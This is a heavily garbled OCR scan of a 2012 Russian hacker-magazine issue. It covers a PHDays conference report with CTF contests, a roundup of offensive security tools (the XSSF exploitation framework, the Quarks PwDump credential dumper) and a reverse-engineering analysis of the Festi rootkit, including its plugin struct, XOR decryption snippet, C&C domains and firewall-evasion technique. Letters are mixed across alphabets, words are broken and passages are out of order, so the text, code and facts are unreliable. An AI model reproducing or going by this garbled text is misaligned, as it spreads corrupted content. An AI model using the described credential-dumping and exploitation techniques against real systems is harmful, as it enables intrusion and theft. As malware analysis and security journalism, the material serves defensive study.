сервисами. Эти задания участники мOгли решать тOльк0 метOдOм черног0 яцика/ то есть локальнOго доступа к системам у них не было. Параллельн0 задания могли решать все желающие с любого конца света этого был построен VРN-канал до этой сети, -для Чтобы участники не засиживались на месте, им предоставлялась вOзможность лолучить дополнительные баллы, занявшись так называемым dumpsteг diving,- короче говоря, поупражняться в добыче информации старым как мир путем. Для этого организаторы поставили по-настоящему о,ромный прозрачный бокс, заваленны,i распеча]кам/ на А4. Кроме листов с мусорной информацией, можно было найти и бумаги с теми самыми (флагами>), эа которые начислялись очки. Забавным ответвлением основной легенды также было задание "L[aob горы", Эtо максимально реалистичный конкурс для пеhтестеров: типовой периметр сети средrестатистической компании с уязвимыми веб-приложениями и различными сервисами, за всем этим скрывается MicгOsoft Active Dirесtогу. Задача участников обнаружить уязвимости в системахJвOспOльзOваться ими и максимальн0 долго

г

-

-

хдкЁр

091164/2012

удерживать захваченные системы. Как?.Щело в том, что после захвата системь одной из команд. цепочки уязвимостей перегенерируются, и у команды был выбор: либо пытаться захватить смежные системы, либо продолжить поиск уязвимосIей в уже захваченной системе. К слову, время удержания Active Dirесtоrу было самым дорогим. Oно и понятно, ведь для того, чтобы провести атаку на службу каталогов, требовалось удерживать системы, расположенные на первом уровне (читай - периметреl. Все как в жизни... Вопреки ожиданиям организаторов, участники не разOшлись на нOчь по своим отелям, а продолжали рубиться и решать задания, отлучаясь по своему собственному расписанию на короткий часовой сон. На второй день

столы участников были буквально завалены энергетиками (кажется, многие иностранные участники оценили наши российск/е напитки]. 0днол из команд удалось считерить l rообросить внешний туннель, подключив к участию дополнительных бойцов. Интересно, узнали

ли об этом организаторы

ибьlли ли какие-то

санкции.

Победителем СТF стала питерская команда LЗЗt Моrе, кOтOрая, < слову, умудрилась найти в ходе соревнований 0-dау-уязвимость в FгееВSD.

Некоторые подро6ности о проработке конкурса. В организации участвовало 0кOл0 40 человекl Сеть была развернута на нескольких Е5х, на них

были залущены виртуалки на базе FгееВSD, под кOторыми крутились jаil'ы с уязвимыми

системами,

Параллельно мероприятия прOвOдились еще на 20 площадках по всему миру. На каждой были свои доклады, кOнкурсы, инOrда даже целые стF.


Взл01.{

БольшOЙ ку$н Этот конкурс оказался одним из самых ярких и привлек внимание очень мноFих, кто занимается практической безопасностью. 0собенно приятно, что в нем принимали участие многие наши авторы. Именно там я впервые встретился в реале с RаzOг'ом, написавшим не один классный материал для журнала. 0н согласился рассказать о конкурсе чуть подробнее. <L{ель участников, среди которых был и я, состояла во вэломе

специально подготовленной системы дистанционного банковского обслуживания. В чем же особенность? 0рганизаторы подготовили настоящий банкомат с настоящими картами и специальн0 поднятым процессингом для вывода денег. Так что каждый участник в

перспективе мог сразу оlлутить результат своей ,,работы", сняв с карты живые деньги [!), которые удалось перевести на свой счет, Круто, но как это можно было сделать? За день до действа всем участникам раздали флешки с исходниками системы. в которых нужно было найти уязвимости. Никаких SOL-инъекций, LFI/REl и прочих традиционных для РНР присутствовали уязвимости, которые, уязвимостей в коде не было п0 слOвам 0рганизатOрOв, встречаются в ходе пентеста реальных flБ0. flля примера вспомню уязвимость в процедуре восстановления пароля. Нужно было лишь отправить запрос на сброс пароля и брутить код. который генерился следующим нехитрым образом:

-

$key = 1651glogin. гапd(1,

250) );

Таким немудреным способом можно было достучаться до чужого аккаунта, Кажется, именно этот простой баг смогли найти все участники, Понятно, что вручную эти уязвимости никто не эксплуатировал: в первый день каждый пытался написать автоматические сплоиты, а самое интересное началось во второй день, Всем участникам предлагалось небольшое время, чтобы с использованием найденных уязвимостей слить как можно больше денег со счетов в виртуальном,Д,Б0. Причем уязвимости затрагивали аккаунты не тольк0 виртуальных клиентOв, н0 и других участникOв конкурса. В итоге первое место занял человек под ником Gifts, второе Глеб Чербов и [има Частухин. а третье досталось мне>. -

паролей для iOS, они решили посмотреть: в такой ли безопасности хранятся пассы. 0казалось, что почти все они не стоят и выеденного яйца, а многие даже хранят ключ шифрования в открытом виде. Интереснейшую ретроспективу парольной зашиты представил Александр Песляк lмногие его знают как Sоlаг Dеsigпег), автор легендарного passwoгd-KpaKepa John the Riррег! Будем надеяться, что сможем увидеть его среди гостей нашего интервью, Тема DDoS в исполнении Александра Лямина из Hi9hload Lab, как всегда, нетолько приковала внимание, но и традиционно превратилась в большую сессию вопросов-ответов. Не обошли конференцию и люди, которые занимаются ресерчем вирусов. Александр Гостев из Каsрегskу Lab решил не рассказывать про баянистый Duqu, а без подготовки выдал захватываюlлую страшилку про Flаmе, который был обнаружен буквально накануне. В зал с докладом Са ши Матросова и Жен и Родионова про уязви мости смарт-карт с точ ки пришлось смотреть зрения банковских троянов было не пробиться на экране в баре. Федор Ярочкин и Владимир Кропотов представили необычный подходдля анализа ботнетов. Вместо реверсинга ботов они анализируют DNS-трафик и легко определяют ботов по запросам к несуществуюцим доменам. Получился живой доклад с множеством примеров из жизни. Увлекательным опытом обнаружения и устранения уязвимостей в сетях телекоммуникационных операторов поделился организатора Сергей Гордейчик, технический директор компании форума Positive Technologies. 0тличный доклад про ХХЕ-атаки с демонстрацией 0-dау-сплоита прочитал Володя Воронцов. К слову, начинался его доклад во второй день в 9 утра, и, когда мы ехали к этому времени, думали. что в такую рань едва ли придет много народа. И были приятно удивлены: свободных мест в зале почти не было. Не могу не упомянуть также выступление главной приглашенной звезды Брюса Шнайера, одного из самых известных специалистов по криптографии. И пусть доклад не был сильно техническим, мысли людей такого масштаба всегда

-

-

слушаешь с особым вниманием.

Е

это нон-стоп Главное отличие PHDays от обычных конференций активность. Что требуется от хакерской конференции? Глубокие хоть технические доклады? Да! Хак-конкурсы на любой вкус отбавляй, СТF? Кажется, впервые соревнование было органично интегрировано в основной ивент lB отличие от обычного сценария. когда СТF-щики незаметно живут своей жизнью, что-то там ковыряя в уголкеl. Конкурс сплоитов? Никита Тараканов показал 0-day для в iOS. lt4ногие скептически относиWindows ХР, а Павел Шуваев

-

-

-

лись к идее объединить под одной крышей <пиджаки> и <футболки>. Не уверены по поводу первых, но то, что люди, занимающиеся практической безопасностью, получили массу фана, много-много общения, классные доклады и непередаваемую атмосферу хакерTechnologies и лично ской конфы, - нет сомнений. И за это, Positive все люди, которые принимали участие в организации, вам большой респект|

t

хлкЕр

09

l1b4l 2012


PHDays

20'12: как это было?

KOHKyPcbl НАЛИВАЙКА NG

Что может помешать умелому пентестеру провести успешную атаку на ве6-приложение, пускай даже защищенное фильтром

безопасности? 0днако

в этом конкурсе есть нюанс. Каждые пять минут участникам, на действия которых чаще всего реагировал WAF, предлагалось выпить 50 мл крепког0 алкоголя. А если конкурс никак не удается начать (как оказалось. из-за глюкавого свитчаl, алкоголь ждет, а зрители вокруг кричат:

"Наливай-ка|", Прокачанное умение трезво мыслить в любой ситуации показал Володя Воронцов, кстати, разработчик своей продвинутой WАF'ки.

сьlгрАть в ящик

В конкурсе под названием (Сыграть в ящик> участникам нужно было вскрыть два сейфа с RFlD-замками, работающими на разных частотах, для чего нужно было изготовить дубликат карты. flля работы с низкочастотной (125 кГц) использовался USВ-ридер ACR122U (bit, уlЦ!Д-Ц2U), дубликатор КеуМаstег PR0 4 RF [bit, lЦеу|,]"al"a'] и метки на базе чипа Т5557 lc t, y/t5557l. Высокочастотная метка (13,56 МГцl представляла собой карту Мifаге Classic ] К, а дубликат изготавливался с помоцью китайского перезаписываемого аналога. Кстати, устройство, которое здесь можно было использовать. мы рассматривали в прошлом номере в статье чемоданчик".

"Хакерский

0хOтА нА

лис

NG

GRAND ТНЕFТ DRONE

Известная еще в советские времена забава в новом формате. Если в классической "0хоте на лис> участнику нужно было найти пять радиопередатчиков в лесу, то участникам PHDays нужно было обнаружить постоянно перемещаюцийся по территории конференции объект (это был человек с активной Wi-Fi точкой доступа, запущенной на Апdrоid-смартфоне). В результате по территории Digital 0сtоЬег бегало немало людей, в том числе симпатичных девушек, которые в одной руке держали налравленную антенну, а в другой нетбук с запущенным Kismet'oM, чтобы отследить

расстояние

Участникам предлагалось менее чем за полчаса захватить 0дин из двух квадрокOптеров АR.Dгопе, управление которым осуществляется со смартфона через Wi-Fi. Если ты уже представил, как перехватывал трафик и пытался отреверсито протокол взаимодействия, спешу огорчить; есть куда менее хардкорный путь, Подключившись к внутренней точке доступа девайса. легко обнаруживаещь не закрытый паролем Telnet, Получив доступ к 0С устройства, через iptables можно было сделать геjесt того устройства, которое осуществляло управление, и подключиться к дрOну со своего телефона в качестве пилOта.

до <<лисыr).

зА элЕктричЕскOЙ 0вцOЙ

tr,lассовые утечки паролей остаются самой популярной темой в инфобезопасности за последнее время, и 0рганизаторы кOнкурса решили дать наглядную картину различных крипто-

алгоритмов в конкурсе Hash Ruппеп Участникам было предложенр 657З различных хеша для взлома. ПРи подсчете очков учитывалось как количество взломанных хешей. так и их сложность. Первое место заняла команда Теагdгор. отобранная из состава Hashcat {разработчики одноименного семейства инструментов], причем один из участников lХапdгеll решил участвOвать в кOнкурсе самолично и умудрился занять третье место. В пересчете на баллы призеры решили 1']% всех задач, 0тметим, что нетронутыми остались хеши DES, рhрЬЬЗ, ssha и WогdРгеss. Самым часто взламываемым оказался алгоритм LAN Мапаgеr ,

io*aa ояz,uоlrо,,


взл0l,|

Дмитрtrй (D1 g1> Евдокиtов, Digital security ltWitter,com/evdokimovd5)

п

соФтдля взл0},|А Е]ф:sщ

tE]i!i]

--,.-,

,:.rgj

. .

редактирование РЕ-секций; редактирOвание кOда; правка lAT и 0ЕР; поддержка х86 и х64;

о

полная пOддержка юникOда; пOддержка плагинов {включая плагины от lmpRec, что особенно ценно]; отлично работаетнаwiпdоws7.

. .

Программа распространяется с открытыми исходными кодами. В качестве дизассемблера используется проект diStorm. 0брати внимание, что Windows ХР х64 имеет некоторые баги в APl, Tak что под этой 0С полностью восстановить на 1000/о правильную таблицу импорта невозможно. Разработчик вообще всячески рекомендует использовать в качестве рабочей системы Windows х64, пбд которой работает са м.

о8о

Авторы: Jеап-Рiегrе LESUEUR

Автор: Ludovic СочгgпаUd URL: code.google.com/p/ xs5f

(DarkCodeгScl URL: WWW.daгkcomet-гat, cOm/mi5ctools.dc

система:

систена;

WindoWs/LinuX

WindoWs

i.*..j

-

.

АнАлизА БЕзOпАснOсти

ABTopi NtQUегу uRL; github,cOm/NtOUeгy/ Scy la cxcTeMal

Scylla lmports ReconstгUction это утилита для восстановления таблицы импортов дампов. Инструмент из новых, но уже успел завоевать популярность. Как пишет сам автор, во всех прOграммах для вOсстанOвления импорта {lmpRec, CHimpREC, lmрогts Fiхеr и так далееl есть недостатки, и он решил сделать свой инструмент, в котором их не будет. Oсобенности: встроенный дампер;

. .

и

F

The Сгоss-Sitе Scгipting Егаmеwогk инструмент для эксплуатации XSSIXSSF) уязвимостей более легким способом. Проект XSSF призван продемонстрировать реальную опасность ХSS-уязвимостей, упрощая их эксlлуатацию до простого выбора модулей атак. XSSF позволяет создать канал связи с целевым браузером [от ХSS-уязвимостиl для выполнения дальнейших действий. Программа реализована в виде модуля для Metasploit и тесн0 интегрирована с ним, н0 пOмим0 этOг0 она имеет и собственный веб-интерфейс, где отображается информация о проэксплуатированных целях:

-

.

lР-адрес;

.

название браузера; версия браузера; наличие cookie.

. .

Благодаря интеграции с Metasploit Fгаmеwогk возможно легко запускать браузерные эксплойты из его состава через XSSуязвимости. Также благодаря создаваемому XSSF Тuппеl возможно действовать от сессии жертвы.,Щля запуска модуля необходима ко ма

нда:

load xssf

прOстOи и 0чень мощный инструмент для извлечения информации о действиях пользователя из таких браузеров, как lпtеrпеt Ехрlоrег, Google Сhгоmе, Mozilla Fiгеfох, RockMelt, Comodo Dга9оп и 0рега, всего за несколько секунд. Сначала создается набор ключевых слов, по которым происходит поиск в истории браузера. Когда инструмент нахOдит упOминание ключевOг0 слова, он отображает URL и заголовок окна.

. .

0собен ности:

.

. . .

быстрое сканирование большинства известных браузеров; мультипоточность;

управлениепрофилямиключевыхслов,

позволяющими сохранить фильтры; сканирование архивов с историей; импорт/экспортрезультатоввСSV-формат; статистика по использованию браузеров в системе.

Программа полностью асинхронна, так что никак не влияет на работу пользователя с браузером в процессе сканирования. 0фициальный сайт утилиты постоянно лежит, но ее легко найти на многочисленных зеркалах. Интересно, что разработчиком утилиты является создатель небезызвестной прOграммы длы скрытнOг0 удаленнOг0 управления DагkСоmеt RAT Tool.

хдкЕр

09 l1bl+l 2012


7 утилит для исследования безопасности

Автор: Аг5hап Dabirsiaghi URL: 1 !]i]i !ai i] :1 1

11,:,11

:,

систеиаi

:llllл1:

Windows/LinUx

ШПИOНИМ ЗА ПРOГРАММАМИ НА JAVA

JavaSnoop - программа, предназначенная для анализа Javaприложений. Программа впервые была представлена на конференции Black Hat 2010 компанией Aspect Sесuгitу. Программа производит статическую, динамическую инструментацию Jача-приложения с целью анализа/модификации работы программы при начале ее работы или после присоединения к уже запущенноЙ лрогра1,4ме, при этом не требуется исходных кодов. ВзаимодеЙствие с Jad позволяет сразу смOтреть декомпилированный код приложения. Утилита позвOляет реализOвать нескOльк0 пOлезных техник. в том числе: . qерехватлюбых рlетодов в виртуальной Nлашине;

. изменениепараметрOвивозвращаемыхзначений;

.

внедрение произвольного кода влюбой метод;

.

прOсмOтрещенесериализOванныхданных.

перехвата методов имеет гибкий фильтр и просмотрщик классов и методов приложения. У программы приятный и понятный GUl-интерфейс, результаты работы можно выводить как в кOнсOль прилOжения, так и в отдельный файл для дальнейшего анализа. ,Д,ля

А8тор: Deesse Ка URLI

Автор: сhгi5t ап Mainka URL:

система:

система:

L]i

l ,

Автор: AnonymOu5 URL: ]

Windows/Linlx

1 ИЗВЛЕЧЬ АУТЕНТИФИ КАЦИOННЫЕ

дАнныЕ из WlNDOWS

Quагks PwDump новый инструмент с 0ткрытым кодом для сбора различных типов учетных даннь х из операционной системы Windows. На текущий момент программа позвOляет извлекать следующие типы аутентификационных данных:

-

. . .

.

NТ/LIrУ-хеши локальных

пользователей + историю; NТ/LМ-хеши доменных пользоват€лей + историю из NTDS,dit; кешированныедOменныеучетныеданные;

ВitLосkеr-информацию, хранимую в NTDS.dit.

Это rервый ичструмент, который сOчетает в себе уже известные техники и техники

извлечения данных из ВitLосkег. Программа поддерживает для обработки форматы от ]оhп the Riррег и LOрhtСrасk, Также присутствует пOддержка всех новых 0С из семейства Windows: хР l20аЗlVislаl1 12008/8. На текущий мOмент програл,4ма действует только с рабочей 0С, но обещаrЬт и поддержку извлечения аутентификационных данных офлайн с образов дисков. 0брати внимание, что для работы утилиты обязательны права администратора в целевой системе. Иначе у н-ее ничего не в ы

йдет.

хдкЕр

09 /1ь/,/ 2012

I

h g

прOвЕряЕм вЕБ-сЕрвисы нА стOЙкOсть

WS-Attacke,

цодульнь й фреймворк, написанный на Java, для проведения тестов на проникновение через веб-сервисы. Программа на вход запрашивает путь до WSDL (Web Services Description Language) и извлекает из него всю полезную информацию для тестирOвания: метOды с параметрами и так далее. Фреймворк является расширяемым с пOмOщью плагинOв и в cBOeN1 сOставе по умOлчанию имеет три плагина, реализующих следующие атаки: S;gnatUre Wrаррiпg; SOAPAction Spoofing;

. . .

-

WS-AddressingSpoofiпg.

По результатам работы плагинов программа сама отображает, какие методы и каким

атакам подвержены. Помимо этог0 программа также способна в удобном виде отображать характеристики: интерфейсов;

.

. метOдOв; . запрOсов,

Программа позволяет авто|.1атически и вручную lc нелегитимными данными] формировать запросы к веб-сервисам и просматривать 0тветы.

Q , (?|::

систеиа: Linux

6 0с для нАстOящих ANONYMOUS

Tails [The Дmпеsiс lncognito Live System]- это Live DVD или Live USB операционная система, нацеленная на сохранение конфиденциальнOсти и анOнимнOсти свOег0 пOльзOвателя в сети Интернет независимо от того, где он нахOдится и за чьим кOмпьютерOм сидит. Никаких следов не останется, если вы не захотите обратного явно. Система базируется на DеЬiап GNU / Linux. Tails распространяется с нескOлькими встрOенными и заранее сконфигурированными в соответствии с требованиями безопасности приложениями: веб-браузером, клиентом мгновенных сообщений, почтовым клиентOл.4, офисным пакетом, редактором изображения и звуков и так далее. В первую очередь при своей работе Tails опирается на анонимную сеть Тог: все программное обеспечение настроено на подключение через Тоr, и прямые lHe анонимные] соединения блокируются, Ta,ls при своей работе абсолютно не использует жесткиЙ вся диск компьютера. на котором работает, обработка данных происходит только в оперативной памяти, которая очищается после выключения кOмпьютера. Также система использует большое количество криптографических тулз, среди которых LUKS, HTTPS Ечегуwhеге, 0penPGP, 0TR и Nautilus Wipe.

-


РАскАпЬIВАЕ1.{ ВНУТРЕННОСТИ НЕ ЗРЯ РУТКИТА,

прOзвАннOго

((кOРOлЕ},| спА},lА>)

ьlи \./

Руткит из семейства Festi заинтересовал нас п0 многим причинам, н0 главные из них две. Во-первых, по сей день это один из самых активных спам-ботов, а во-вторых - этот ботнет часто используется для DDoS-aTaK. К тому же это довольно нетипичный экземпляр вредоносного П0, авторы которого подошли очень серьезно к процессу его разработки

емейство руткитов Festi известно с 2009 года и в первую 0чередь прославилOсь массOвыми рассылками спама и целенаправленными DDоS-атаками {рис,1], В начале текущего года прошло серьезное обновление ботнета и миграция на новые командные серверы lрис. 2). Именно это обновление и привлекл0 наше внимание слишкOм мнOгOе пOменялOсь. Во-первых, изменился протокол взаимодействия с командны[4 центром: если раньше это был НТТР с зашифрованным POST ответом, то сейчас это специально разработанный протокол с возможностью обхода различных защитных средств, анализирующих сетевой трафик. Во-вторых, все задания для ботов загружаются только в па1,4ять зараженной машины, и что наиболее интересно загружаются они б адресное пространство на уровне ядра операционной системы.

-

lБйrftIllr!]lilтill

flроппер необходим только для установки основного функционала в виде драйвера, который осуществляет всю основную активность, На рис. З представлен граф вызова функций после выполнения точки входа этого драйвера. 0сновной задачей этого модуля является взаимодействие с коМаНДНЫМ ЦеНТРОМ / УСТаНОВКа ДОПOЛFИТ€ЛоFЫХ

МОЛУЛеЙ,

-

Нами было замечено два основных дополнительных модуля для рассылки спама и для 0существления DDoS-aTaK соответственно. Свою работу бот начинает с обращения на командный центр и пOлучения актуальнOг0 задания, пOсле чег0 скачивается соответствующий плагин. Все расширения активируются непOсредственн0 из памяти и не сOхраняются на диске, чт0 существенно затрудняет процесс криминалистической экспертизы, так как пOсле выключения кOмпьютера вOсстанOвить цели и задачи конкретного бота практически невозможно. Еще одной интересной особенностью этого бота является то, что он написан на С++ с использованием 00П. Подобные вещи нечасто можно встретить при разработке модулей режима ядра. Oсновные его компоненты [классы}: менеджер памяти; собственная реализация сокетов; парсер протокола взаимодействия с С&с; . менеджер плагинOв.

. . .

Схема взаимодействия между ними изображена на рис.4. За счет разработанного урOвня абстракции основное ядро Festi может быть легко портировано под другие операционные системы, в том числе отличные от lr4s windows.

хдкЕр

о9 l1bl\l 2а12


Festi: злобный и бестелесный

*createModUle{PVOlD

PLUGlN_lNTERFдcE VOlD DeleteModuleIl.

l l

з4.9ýd

EI

Ё.?sý

GHEG a THER SФURcES tr

2, 1_ч

LETHIc

GRUful

1?.zgi

Полный цикл загрузки плагина можно увидеть на рис.

FЕ:iтl tr 12.99ь DФNвот l в.99.ь

сUтц!дIL 1 aUTlr,lA'IL

{

Driчегlпtегfасеs)

8,

В Festi реализован собственный защищенный от перехвата протокол. Ботнет использует клиент-серверную топологию с несколькими

Е 4,зчi.

командными центрами. Например, один отвечает за раздачу заданий на рассылку спама, а другой только за проведение DDoS-aTaK. Сетевой протокол работает в нескольких фазах:

1э.t-l_сý

Рис. 1. По статистике М86 security Lab5, ботн ет Festi э а н и шает п очетное третье место

.

инициализация-получениеlР-адресовактивных

.

активация-получениетекущегOзадания

командных центрOв;

из команднOго центра.

Наибольший интерес представляют сами плагины, так как именно при пOмOщи них выпOлняются задания, полученные от командного центра. Система плагинов реализована по принципу массива указателей на специальн0 0пределенные структуры. Структура описывает плагин и протокол обмена данными с ниtl. Восстановленный в процессе обратного анализа вариант структуры выглядит следующим образом:

StгUct PLUGIN_INTERFAcE {

// Initialize plugin PVOID Initlalize; // ReleaSe plu8in, регfогm cleanup ореrаtiопs

Ачtчmп 2011

PVOID Release,;

пvilл.ьаL.,,

valdispjt,гU

PVOID GetveгSionInfo_].;

// Get plu8in vension infonmation

// Wnite

p],Ugin Specific lпfогmаtiоп

РvOID WniteIntoTcpstгeam;

//

Read

into tcp

plugin specific information fгоm tcp

,// and раrsе data PVoID RеаdFгоmТсрstrеаm; // RеsегVеd fieldS

Ве9iппiп9 20'l2

с&с mioration

ч,JtUгl.rU

// Get plugin чеrsiоп iпfогmаtiоп PVOID Getveг5ionInfo_2,;

В первой фазе осуществляется запрос на заранее указанные DNS-серверы с целью получения lР-адресов для указанных доменOв, кOтOрые хранятся в качестве констант в теле самого бота. В фазе активации происходит взаимодействие по протоколу ТСР, пOлучается текущее задание и плагин. ПротокоЛ для второЙ фазы состоит из заголовка сообщения и непосредственно буфера с самим плагином. В буфере содержатся данные с тег-ориентированным протоколом lчем-то похож на XML), раздел данных, содержащий непосредственно плагин, зашифрован следующим алгOритмOм:

Stneam

ё

7

пUdчсk,гU l]7з.2]2_248,51l --],,_,,_,,и,"rlrл,л.,i геqhоsliп,гU 1178,162,]?9.47l ho5tikareg,гU l178,162,179.47)

Рис.2. 1,1играция руткита на новые командные серверы

st гtеаm

PVOID ReseгVed_1; PVOID RеSегVеd_2;

Когда бот передаетданные в командный центр, выполняется о6работка плагинов и активируется функция WгitеlпtоТсрStгеаmll для каждOг0 зарегистрированного плагина. При получении данных с сервера выполняется другая функция RеаdFгоmТсрStгеаmlJ. Структура данных, передаваемых по сети, представлена на рис. 7. Взаимодействие с плагинами обеспечивает менеджер плагинов, который загружает соответствующий плагин и отвечает за его

-

корректное выполнение. Каждый плагин содержит две экспортируемые Фчнкции:

Рис. З. Граф вызова функций после выполнения точки входа

руткит FEsTl дOвOльн0 нЕтипичныЙ rкзЕ},lпляр

W]пз2lFеst]

с&с Ргоtосоl Раsг5ег

врЕдOносного по. АвтOры очЕнь сЕрьЕзн0 подOшли

К ПРOЦЕССУ ЕГ0 РАЗРАБОТКИ

хАкЕр

09 /164/ 20]2

Рх(. 4. Взаимодействие между компонентаии

руткита


lt{ALYlrARE

Аrгау of роiпtег5 to plUqins

Wlпз2/Fеsti Drорреr

Рlч9iп

Plugin'|

"-)

mоdеdгчег

Рlчqiп 2

Рlчqiп2

5tгUct

PLUGlN lNTERFAcE

Рlчgiп 3 tгчсt PLUGlN_lNTERFACE

РlчgiпЗ

}

1

5tг!сt PLUGlN lNTERFACE

*lllillxx,: DOWnlOad р Ugin5

Рис. 6, Реализация

Wiп32/Fе9t| Рlчgiп t

win32/Festl Рlчgiп2

си(теtы плагхнов

wln32/Festl Рlцg|п N

Рис. 5. Руткит начал работу!

Рис.

key = (0х17, oxFB, 0x7lJOXSс)

Подобный мониторинг можно реализовать двумя способами:

.

def decn_data(data):

fог ix in хгапgе(lеп(dаtа)): dataIlx] "= keyIix

%

7.

0дна из интересных особенностей testi обход защитных средств, установленных на зараженном компьютере. Festi

встраивается урOвнем ниже, чем эт0 реализуется в стандартных драЙверах NDlS, которые работают на канальном уровне. !ля 0тправки или приема сетевых пакетов открываются непOсредственно устройства \Device\Tcp или \Device\Udp в зависимости от типа протокола. В большинстве персональных межсетевых экранов или HlPS реализовано наблюдение через перехват запросов lRP_MJ_CREATE_tlLE, которые направляются транспортному драйверу открытого устройства. Этот способ позволяет также установить процесс, от которого было инициировано сетевое

взаимодействие.

по сети

данных

установитьхукнаZwСгеаtеFilедля

.

а]

Структура передаваемых

мониторингавсехпопыток

открытия устройства;

непосредстsенноаттач Ha\Device\Tcp или\Dечiсе\Udрдля перехвата всех l RР-запросов.

Festi для обхода подобного мониторинга собственными силами реализует функцию ZwСгеаtеFilеll, практически дублируя ее [схему реализации функции ZwСrеаtеFilе{} см. на рис.9l. Из представленной схемы видно, что Festi создает объект связи с устройством и напрямую посылает запросы lRP N4J,CREATE транспортному драйверу. Таким образом, все защитное П0, отслеживающее устройства \Device\Tcp или \Device\Udp. пропустит запросы от бота. flля прямого взаимодействия с устройствами \Device\Tcp или \Device\Udp вредоносной программе нужны указатели к соответствующим объектам устройств [device objects), ,Щля получения указателя на Tcpip,sys на объект драйвера можно испOльзOвать:

ExecUte 0ЬСrеаtеOЬjесl to сгеаtе file object

зАlцитА FESTI

Мар plugin imaвe into 5y5tem address 5расе lnitialize 5ecurity attribute5 ol cгeated file obiect

Execute 0blnsertObject to insert сгеаtеd file object into FlLE 0BJECT type list

Get exported rочtiпеs: credteModule & Deletevodule

Festi периодически прOверяет наличие отладчика при пOмощи вызова функции KdDebug9егЕпаЬlеdll, а также умеет сн и l,,laтb аппаратные тOч ки останова, устанавливая в них нулевое значение.

Сгеаtе lRP геqUеst W]th Ma]orFUnction code set to lRP MJ CREATE

Get pluвin.lD & version info Send created RP reqUe5t directly to tcpip.sys driVеr

Рис.

9.

Зловредная реализация функции zwcreateFilel)

хАкЕр

09/164/2012


Festi: злобный и бестелесный

Бl

+l_

lry l

Attached device #N

l

o,o.n"o

ll

li t-

г;l

1ч:_]

ltчll Г

п;;

l

l l

Т.ерrуrl

аечlсряl

l

Рис. 1З, Принер конструктора класса csocket

Г NTSTATUS

0bReferenceObjectByName

tlБ*,*t

disnatch

IN IN IN IN IN IN

\Devrce\uap

|

(

IN PUNIсoDE_STRING objectNameJ

I

ULoNG

Attгibutes,

PAccESS_STATE Accessstate oPTIONAL, AссESS_MASK DesiredAccess oPTIONAL, POBJEсT_TYPE objectтype,

KPROсESSOR_MODE AccesSмode, oUT PVOID РагSеСопtехt oPTIoNAL, oUT РVOID +object

Рхс. 10. Изящный обхOд следящего П0

); Это недокументированная системная функция, получаюцая в качестве 0дног0 из параметров юникод-строку с именем устройства. Festi осуществляет итерацию по всему списку устройств, чтобы найти нужное соответствие. Восстановленный код этой про цедуры представлен на рис. 1 1,

Анализ несколько затруднило присутствие 00П-кода, так как современные инструменты обратного анализа и даже lDA не умеют эффективно его восстанавливать, К примеру, восстановление графа потока управления в С++ усложняется полиморфизмом на уровне виртуальных функций, что показано на рис. 12. Сложность заключается в точном получении адреса процедуры, которая будет вызвана. Статический анализ не дает информации о том, куда будет указывать регистр ЕАХ. !ля того чтобы получить адрес, нужно выяснить, где создается объект указанного типа, а эт0 прOисхOдит непOсредственн0 в процессе выполнения, и именно тогда инициализируется указатель на таблицу виртуальных метOдOв. На рис. lЗ приведен пример конструктора класса CSocket, реализованного в Festi. Видно, что происходит непрозрачный вызов и инициализация указателя CSocket::vTable на таблицу виртуальных метOд0 в.

Рис.

Рис.

11.

12.

Процедура, обрабатываюцая список ТСР-

ПолхtrорфхзЁ

хАкЕр 09/]61,/20]2

на уровне

l

UDР-устройств

вхртуальных функций

Руткит Festi довольно нетипичный экземпляр вредоносного П0, авторы которого подошли очень серьезно к процессу его разработки. 0ни предусмотрели множество нюансов, которые обеспечивают незаметное присутствие этого бота в системе длительное время и затрудняют обратный анализ. К примеру,

на мOмент извлечения экземплярOв вредOнOсных плагинов из памяти зараженной системы ни один антивирусный продукт их не обнаруживал. Проблемы с полным анализом сложного вредоносного ПО возникают довольно часто, но лишь полный анализ может собрать весь пазл целиком и найти эффективные способы противодействия таким угрOзам. fE


1.{ALYlrARE

Александр Лозовский

lnternet 5есчritу НOВАЯ ВЕРСИЯ 0БзOР свE)кЕи вЕРсии ((кАспЕРскOг0)> Меньше месяца прошло с момента выхода на прилавки и в интернеты новой версии Каспера IKAV и KlS). По этому поводу можно было бы не напрягаться, если бы не некоторые нововведения, которые нам показались интересными, в связи с чем мы и решили намутить этот небольшой обзорчик.

БЕЗOПАСНЫЕ ПЛАТЕХИ Самое интересное нововведение. Раньше пользователю нужно было самостоятельно включать режим безопасного браузера и вызывать экранную клавиатуру, что было слишком сложно для среднего пользователя. Скажите спасибо, что он вообще поставил антивирусl Спасибо, gеперь он будет делать это (и кое-что еще) самостоятельно. Специальная систеN4а теперь будет распознавать обрацение на сайт банка, проверять, не фишинговый ли этот сайт, сверять сертификаты и одновременно проверять систему [твою системуl на наличие

критическихуязвимостей.

Разумеется, по-

пытки других устанOвленных на кOмпьютере

программ поинтересоваться информацией, с которой ты работаешь во включенном режиме <6езопасных платежейrr, будут пресекаться. Комментарий I[: Реально полезная фича. Пользоваться,Д,Б0 становится геморройнее с каждым гOдOм, и ничег0 с этим не пOделаешь безопасность и удобство всегда лежали на разных чашах весов. Хорошо, что хотя бы часть этой безопасности будет автоматизирована. С многофакторной авторизацией, надеюсь, ты сам справишься, хотя и с ней в случае чего могут найтись помоtцники ;|.

-

зАlцит^ ввOдА с клАвиАтуры

Виртуальная, защищенная от перехвата клавиатура, клавиши на кOтOрOи над0 нажимать мышкой, была и в прошлой версии. В новой версии добавили заlлиту ввода с аппаратной клави.атуры - 0на активизируется автOматически, когда ты обращаешься на сайт банка.

Е

азftriJilзирOвАннАя

БорьБА

Продукция Adobe, старые lпtегпеt Ехрlогег'ы и Java давно и прочно зарекомендовали себя

самыми настOящими 0кнами, в кOтOрые зл0достатOчн0 лишь пOстучаться,

умышленнику

-

ка к следует долбануть по н и м exploit pack'oM. Новая версия Каспера отвечает эксплойтам симметрично-добавив всвой продукт отдельную функцию защиты от эксплойтов, которая контролирует работу потенциально дырявых программ (ну, тех самыхl, проверяет, нетли в ихдействиях признаков экстремизма, и свOевременн0 запрещает то, что делать не пOлагается, - например, перехOд п0 пOдOзрительным ссылкам или попытки записи в чужой прOцесс. а точ нее

